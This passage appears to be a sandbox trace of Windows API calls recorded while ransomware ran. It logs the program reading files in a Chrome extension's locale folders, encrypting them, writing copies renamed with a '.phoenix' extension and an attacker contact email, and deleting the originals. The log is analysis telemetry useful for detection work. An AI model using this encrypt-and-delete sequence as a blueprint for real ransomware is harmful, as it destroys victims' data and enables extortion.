	[0261.372] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.372] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.373] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151140) returned 1
	[0261.373] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.373] ReadFile (in: hFile=0x258, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc1, lpOverlapped=0x0) returned 1
	[0261.374] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0261.374] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0261.375] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0261.375] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.375] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.375] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.375] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.375] CryptDestroyKey (hKey=0x151140) returned 1
	[0261.375] CloseHandle (hObject=0x258) returned 1
	[0261.375] CloseHandle (hObject=0x250) returned 1
	[0261.375] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json")) returned 1
	[0261.376] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.376] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.377] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=298) returned 1
	[0261.377] CloseHandle (hObject=0x250) returned 1
	[0261.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json")) returned 0x20
	[0261.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.377] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.377] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.377] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.377] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.378] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0261.378] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.378] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x12a, lpOverlapped=0x0) returned 1
	[0261.518] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x130, dwBufLen=0x130 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x130) returned 1
	[0261.518] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x130, lpOverlapped=0x0) returned 1
	[0261.519] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151300) returned 1
	[0261.519] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.519] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.519] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.519] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.530] CryptDestroyKey (hKey=0x151040) returned 1
	[0261.530] CloseHandle (hObject=0x250) returned 1
	[0261.530] CloseHandle (hObject=0x258) returned 1
	[0261.530] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\el\\messages.json")) returned 1
	[0261.531] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.531] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.531] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=187) returned 1
	[0261.531] CloseHandle (hObject=0x258) returned 1
	[0261.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json")) returned 0x20
	[0261.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.531] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.532] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.532] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.532] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.532] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151300) returned 1
	[0261.532] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.532] ReadFile (in: hFile=0x258, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xbb, lpOverlapped=0x0) returned 1
	[0261.533] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0261.533] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0261.534] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0261.534] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.534] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.534] CryptDestroyKey (hKey=0x151040) returned 1
	[0261.534] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.534] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.534] CloseHandle (hObject=0x258) returned 1
	[0261.534] CloseHandle (hObject=0x250) returned 1
	[0261.534] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr\\messages.json")) returned 1
	[0261.535] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.535] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.536] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=210) returned 1
	[0261.536] CloseHandle (hObject=0x250) returned 1
	[0261.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json")) returned 0x20
	[0261.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.536] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.536] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.536] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.536] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.536] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0261.537] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.537] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd2, lpOverlapped=0x0) returned 1
	[0261.538] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0261.538] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0261.539] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0261.539] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.539] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.539] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.539] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.539] CryptDestroyKey (hKey=0x151040) returned 1
	[0261.539] CloseHandle (hObject=0x250) returned 1
	[0261.540] CloseHandle (hObject=0x258) returned 1
	[0261.540] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\fr_ca\\messages.json")) returned 1
	[0261.541] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.541] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.541] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=172) returned 1
	[0261.541] CloseHandle (hObject=0x258) returned 1
	[0261.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json")) returned 0x20
	[0261.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.541] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.541] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.541] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.542] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\gl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.542] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0261.542] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.542] ReadFile (in: hFile=0x258, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xac, lpOverlapped=0x0) returned 1
	[0261.543] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0261.543] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xb0, lpOverlapped=0x0) returned 1
	[0261.544] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0261.544] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.544] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.544] CryptDestroyKey (hKey=0x151040) returned 1
	[0261.544] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.544] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.544] CloseHandle (hObject=0x258) returned 1
	[0261.544] CloseHandle (hObject=0x250) returned 1
